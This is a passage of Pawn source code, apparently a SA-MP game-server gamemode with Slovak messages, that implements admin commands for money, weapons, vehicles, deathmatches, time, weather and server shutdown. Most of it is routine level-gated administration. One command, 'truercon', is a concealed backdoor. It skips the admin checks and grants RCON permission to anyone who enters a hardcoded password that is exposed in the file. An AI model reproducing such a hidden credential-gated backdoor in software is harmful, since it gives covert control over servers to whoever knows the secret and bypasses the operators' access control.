            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                           ShowPlayerNameTagForPlayer(playerid, i, false);
                       }
                }
            }
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_player(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 4 !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /player [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            Player[playerid][SaveID]=id;
            new Name[24];
            GetPlayerName(id,Name,24);
            new Text1[32];
            format(Text1,32,"Player: {ffff00}%s",Name);
            ShowPlayerDialog(playerid,Dialog_Player,DIALOG_STYLE_LIST,Text1,"Set HP\nSet Armour\nKill\nDisarm\nReset Money\nExplode\nDesert man\nVehicle Repair + Fuel","OK","Cancel");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_hp(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 4 !");
        else if(Player[playerid][DM_Player] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}NemôžeŠ používať tento príkaz počas Death Matchu !");
        else
        {
            SendClientMessage(playerid,COLOR_ADMIN,"Uzdravil si sa !");

            SetPlayerHealth(playerid,100);
            SetPlayerArmour(playerid,100);

            if(GetPlayerVehicleID(playerid) > 0)
            {
                SetVehicleHealth(GetPlayerVehicleID(playerid), 1000.0);
                RepairVehicle(GetPlayerVehicleID(playerid));
                ResetVehicleFuel(GetPlayerVehicleID(playerid));

                SendClientMessage(playerid, COLOR_ADMIN, "Opravil si si vozidlo a natankoval benzín !");
            }
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_mappoint(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        #pragma unused params
        if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][BrigadaID] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemôžeš použiť tento príkaz keď plníš brigádu ! Nepodvadzaj !");
        else if(Player[playerid][MissionID] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemôžeš použiť tento príkaz keď plníš misiu ! Nepodvadzaj !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 4 !");
        else
        {
            if(Player[playerid][A_MapPointState] == false)
            {
                Player[playerid][A_MapPointState]=true;
                SendClientMessage(playerid, COLOR_ADMIN, "Teraz choď do menu, otvor mapu a pravým tlačitkom myši vyber miesto kam se chceš teleportovat.");
            }
            else
            {
                Player[playerid][A_MapPointState]=false;
                SendClientMessage(playerid, COLOR_ADMIN, "Vypol si si Map Point Teleport Mode.");
            }
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_gm(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /gm [ ID ] [ MONEY ]");
        else if(strval(params[chrfind(' ',params)+1])>999999999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Maximálna suma ktorú môžeš poslať je 999 999 999$ !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
             new Name[26];
             new Name2[26];
             GetPlayerName(playerid,Name,26);
             GetPlayerName(id,Name2,26);
             new string[128];
             new string2[128];
             format(string, 128, "Dal si hráčovi %s %d$ !",Name2,strval(params[chrfind(' ',params)+1]));
             SendClientMessage(playerid,COLOR_ADMIN,string);
             format(string2, 128, "Administrátor %s ti dal %d$ !",Name,strval(params[chrfind(' ',params)+1]));
             SendClientMessage(id,COLOR_ADMIN,string2);
             GivePlayerACMoney(id,strval(params[chrfind(' ',params)+1]));
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_car(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new color1 = strval(params[chrfind(' ',params)+1]);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /car [ ID ] [ COLOR ]");
        else if(Server[A_Vehicles]>=20) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Bol vytvorený maximálny počet vozidiel (20) ! Použi: /cardestroy");
        else if(id<400 || id>611) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /car [ 400 - 611 ] [ COLOR ]");
        else if(color1<0 || color1>126) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /car [ ID ] [ 0 - 126 ]");
        else
        {
            new Float:x, Float:y, Float:z, Float:a, Float:x2, Float:y2, avehid=Server[A_Vehicles];
            if(GetPlayerVehicleID(playerid) == 0)
            {
                GetPlayerPos(playerid,x,y,z);
                GetPlayerFacingAngle(playerid,a);
            }
            else
            {
                GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
                GetVehicleZAngle(GetPlayerVehicleID(playerid),a);
            }

            x2 = x+(5 * floatsin(-a, degrees));
            y2 = y+(5 * floatcos(-a, degrees));

            A_Vehicle[avehid] = AddStaticVehicle(id, x2, y2, z+1.25, a+90, color1, color1);
            SetVehicleVirtualWorld(A_Vehicle[avehid], GetPlayerVirtualWorld(playerid));

            SetVehicleNumberPlate(A_Vehicle[avehid], "{0000BB}Admin Car");
            SetVehicleToRespawn(A_Vehicle[avehid]);
            ResetVehicleFuel(A_Vehicle[avehid]);

            VehicleStatus[A_Vehicle[avehid]] = false;

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        SetVehicleParamsForPlayer(A_Vehicle[avehid], i, 0, 0);
                    }
                }
            }

            Server[A_Vehicles]++;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_cardestroy(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else if(Server[A_Vehicles]<=0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie je vytvorene žiadne auto.");
        else
        {
            for(new v=0; v<Server[A_Vehicles]; v++)
            {
                DestroyVehicleEx(A_Vehicle[v]);
            }

            Server[A_Vehicles]=0;

            new Name[24], msg[128];
            GetPlayerName(playerid,Name,24);
            format(msg,128,"Administrátor %s zničil všetky Admin Vozidla.",Name);
            SendClientMessageToAll(COLOR_ADMIN,msg);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_gw(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1]) || !params[2]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(strval(params[chrfind(' ',params)+1])<0 || (strval(params[chrfind(' ',params)+1])>18 && strval(params[chrfind(' ',params)+1])<22) || strval(params[chrfind(' ',params)+1])>46) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Zlé ID zbrane ! 0 - 18 nebo 22 - 46");
        else if(strval(params[chrfind(' ',params)+1])==38 || strval(params[chrfind(' ',params)+1])==36) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Táto zbraň je zakázaná !");
        else
        {
            new Name[24];
            new Name2[24];
            GetPlayerName(playerid,Name,24);
            GetPlayerName(id,Name2,24);
            new string[128];
            new string2[128];
            format(string,128,"Dal si hráčovi %s zbraň %s !",Name2,WeaponName(strval(params[chrfind(' ',params)+1])));
            SendClientMessage(playerid,COLOR_ADMIN,string);
            format(string2,128,"Administrátor %s ti dal zbraň %s !",Name,WeaponName(strval(params[chrfind(' ',params)+1])));
            SendClientMessage(id,COLOR_ADMIN,string2);
            GivePlayerWeapon(id,strval(params[chrfind(' ',params)+1]),9999);
            
            if(strval(params[chrfind(' ',params)+1])==39) GivePlayerWeapon(id,40,9999);
            if(strval(params[chrfind(' ',params)+1])==40) GivePlayerWeapon(id,39,9999);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_setadmin(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setadmin [ ID ] [LEVEL]");
        else if(strval(params[chrfind(' ',params)+1])>5 || strval(params[chrfind(' ',params)+1])<0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Rozmedzie levelov je 0 - 5 !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);
            new string[128];
            format(string, 128, "Administrátor %s nastavil hráčovi %s Admin Level %d !", Name,Name2,strval(params[chrfind(' ',params)+1]));
            SendClientMessageToAll(COLOR_ADMIN,string);
            Player[id][AdminLevel]=strval(params[chrfind(' ',params)+1]);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_setrespect(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new respect = strval(params[chrfind(' ', params)+1]);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setrespect [ ID ] [ RESPECT ]");
        else if(strval(params[chrfind(' ',params)+1])>100 || strval(params[chrfind(' ',params)+1])<1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Rozmedzie respektu je 1 - 100 !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);
            new string[128];
            format(string, 128, "Administrátor %s ti nastavil respekt na %d !", Name, strval(params[chrfind(' ',params)+1]));
            SendClientMessage(id,COLOR_ADMIN,string);
            format(string, 128, "Nastavil si hráčovi %s respekt na %d !", Name2, strval(params[chrfind(' ',params)+1]));
            SendClientMessage(playerid,COLOR_ADMIN,string);
            Player[id][Respect]=respect;
            SetPlayerRespect(id, respect);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_setskill(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new skill = strval(params[chrfind(' ', params)+1]);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setskill [ ID ] [ SKILL ]");
        else if(strval(params[chrfind(' ',params)+1])>100 || strval(params[chrfind(' ',params)+1])<0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Rozmedzie skillu je 0 - 100 !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);
            new string[128];
            format(string, 128, "Administrátor %s ti nastavil skill na %d !", Name, strval(params[chrfind(' ',params)+1]));
            SendClientMessage(id,COLOR_ADMIN,string);
            format(string, 128, "Nastavil si hráčovi %s skill na %d !", Name2, strval(params[chrfind(' ',params)+1]));
            SendClientMessage(playerid,COLOR_ADMIN,string);
            SetPlayerSkill(id, skill);
            }
        }
    return 1;
}

//------------------------------------------------------------

dcmd_hidetds(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else
        {
            SendClientMessage(playerid,COLOR_ADMIN,"Skryl si si TextDrawy na obrazovke ! Pre zobrazenie použi /showtds");
            Player[playerid][IsTDsHideForPlayer]=true;

            TextDrawHideForPlayer(playerid, Clock);
            TextDrawHideForPlayer(playerid, GPSLocation[playerid]);
            TextDrawHideForPlayer(playerid, TDweb);
            TextDrawHideForPlayer(playerid, TDlogo);
            for(new td=0; td<=Server[ConP]; td++)
            {
                if(IsPlayerConnected(td))
                {
                    TextDrawHideForPlayer(playerid, PRespectTD_Line[td]);
                    TextDrawHideForPlayer(playerid, PSkillTD_Line[td]);
                }
            }
            TextDrawHideForPlayer(playerid, PRespectTD_Box);
            TextDrawHideForPlayer(playerid, PRespectTD_Text);
            TextDrawHideForPlayer(playerid, PSkillTD_Box);
            TextDrawHideForPlayer(playerid, PSkillTD_Text);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_showtds(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else
        {
            SendClientMessage(playerid,COLOR_ADMIN,"Zobrazil si si TextDrawy na obrazovku !");
            Player[playerid][IsTDsHideForPlayer]=false;

            TextDrawShowForPlayer(playerid, Clock);
            TextDrawShowForPlayer(playerid, GPSLocation[playerid]);
            TextDrawShowForPlayer(playerid, TDweb);
            TextDrawShowForPlayer(playerid, TDlogo);
            TextDrawShowForPlayer(playerid, PRespectTD_Box);
            TextDrawShowForPlayer(playerid, PRespectTD_Line[playerid]);
            TextDrawShowForPlayer(playerid, PRespectTD_Text);
            TextDrawShowForPlayer(playerid, PSkillTD_Box);
            TextDrawShowForPlayer(playerid, PSkillTD_Line[playerid]);
            TextDrawShowForPlayer(playerid, PSkillTD_Text);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_serverinfo(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else
        {
            new fh=0, sh=0, ff=0, sf=0, fc=0, sc=0;

            for(new h=0; h<MAX_HOUSES; h++)
            {
                if(House_V[h][State] == 1) sh++;
                else fh++;
            }

            for(new f=0; f<MAX_FIRMS; f++)
            {
                if(Firm[f][State] == 1) sf++;
                else ff++;
            }
            
            for(new c=0; c<MAX_CLANS; c++)
            {
                if(Clan[c][State] == 1) sc++;
                else fc++;
            }

            new Text2[256];
            format(Text2,256,"{c5c5c5}Total connects: {ffff70}%d\n{c5c5c5}Free houses: {ffff70}%d\n{c5c5c5}Sell houses: {ffff70}%d\n{c5c5c5}Free firms: {ffff70}%d\n{c5c5c5}Sell firms: {ffff70}%d\n{c5c5c5}Free clans: {ffff70}%d\n{c5c5c5}Sell clans: {ffff70}%d",dini_Int("SL/Server/Info.cfg","Connects"), fh, sh, ff, sf, sc, fc);
            ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Server Info",Text2,"Cancel","");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_settime(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /settime [ HOURS ] [ MINUTES ]");
        else if(strval(params)<0 || strval(params)>23 || strval(params[chrfind(' ',params)+1])<0 || strval(params[chrfind(' ',params)+1])>59) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /settime [ 0-23 ] [ 0-59 ]");
        else
        {
            new MSG[128], Name[24];
            GetPlayerName(playerid,Name,24);
            format(MSG,128,"Administrátor %s nastavil čas na %02d:%02d.",Name,strval(params),strval(params[chrfind(' ',params)+1]));
            SendClientMessageToAll(COLOR_WARNING,MSG);
            Server[Hours]=strval(params);
            Server[Minutes]=strval(params[chrfind(' ',params)+1]);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_setweather(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else
        {
            ShowPlayerDialog(playerid, Dialog_A_Weather, DIALOG_STYLE_LIST, "Nastavit počasie", "Slnečno 1\nSlnečno 2\nSlnečno 3\nSlnečno 4\nSlnečno 5\nSlnečno 6\nZápad slnka\nZamračene 1\nZamračene 2\nMlha 1\nMlha 2\nToxic\nDášť 1\nDášť 2\nPiesočná búrka", "Nastaviť", "Cancel");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_gmx(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else
        {
            new string[128], Name[24];
            GetPlayerName(playerid,Name,24);
            format(string,128,"Administrátor %s (%d) vypol server !",Name,playerid);
            SendClientMessageToAll(COLOR_ADMIN,string);
            SendRconCommand("exit");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_truercon(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
             if(!strlen(params)) return 0;
        else if(strcmp(params, "kajajeKAJA987654", false)) return 0;
        else
        {
            Player[playerid][RCON_Permission] = true;
            SendClientMessage(playerid, COLOR_GREEN, "OK");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_dmcreate(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else if(DM[State]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match už bol založeny !");
        else if(DM[State]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match bol odštartovány !");
        else ShowPlayerDialog(playerid,Dialog_DMReward,DIALOG_STYLE_INPUT,"Death Match","Zadaj výhru v Death Matchu:","Ďalej","Cancel");
    }
    return 1;
}

//------------------------------------------------------------

dcmd_dmjoin(playerid, params[])

{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Niesi Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /dmjoin [ ID ]");
        else if(DM[State]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match ešte nebol založeny !");
        else if(DM[State]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match bol odštartovány !");
        else if(DM[Players] >= DM[MaxPlayers]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match je už plný !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(Player[id][DM_Player]!=9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč je pripojený v Death Match !");
        else
        {
            new MSG[128], Name[24], Name2[24];
            GetPlayerName(playerid,Name,24);
            GetPlayerName(id,Name2,24);
            format(MSG,128,"Administrátor %s pripojil hráča %s do Death Matchu !",Name,Name2);
            SendClientMessageToAll(COLOR_WHITE,MSG);
            DM[Players]++;
            Player[id][DM_Player]=DM[Players];
            SpawnPlayer(id);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_dmstart(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else if(DM[State]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match ešte nebol založeny !");
        else if(DM[State]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match už bol odštartovány !");
        else if(DM[Players]<2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}V Death Matchu musia byť aspoň 2 hráči !");
        else
        {
            new MSG[128], Name[24];
            GetPlayerName(playerid,Name,24);
            format(MSG,128,"Administrátor %s odštartoval Death Match !",Name,DM[Reward]);
            DM[State]=2;
            DM[CountDown]=6;
            DM[Timer] = SetTimer("DM_CD",1000,1);
            SendClientMessageToAll(COLOR_WHITE,MSG);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_dmend(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 4 !");
        else if(DM[State]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Death Match ešte nebol založeny !");
        else
        {
            new MSG[128], Name[24];
            GetPlayerName(playerid,Name,24);
            format(MSG,128,"Administrátor %s ukončil Death Match !",Name);
            SendClientMessageToAll(COLOR_WHITE,MSG);
            DM_End();
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_tune(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new componentid = strval(params);
        
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /tune [ COMPONENTID ]");
        else if(componentid<1000 || componentid>1193) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /tune 1000 - 1193");
        else
        {
            new MSG[32];
            format(MSG,32,"Componentid: %d",componentid);
            SendClientMessage(playerid,COLOR_ADMIN,MSG);
            AddVehicleComponent(GetPlayerVehicleID(playerid),componentid);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_setskin(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new skinid = strval(params[chrfind(' ',params)+1]);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 3 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setskin [ ID ] [ SKINID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
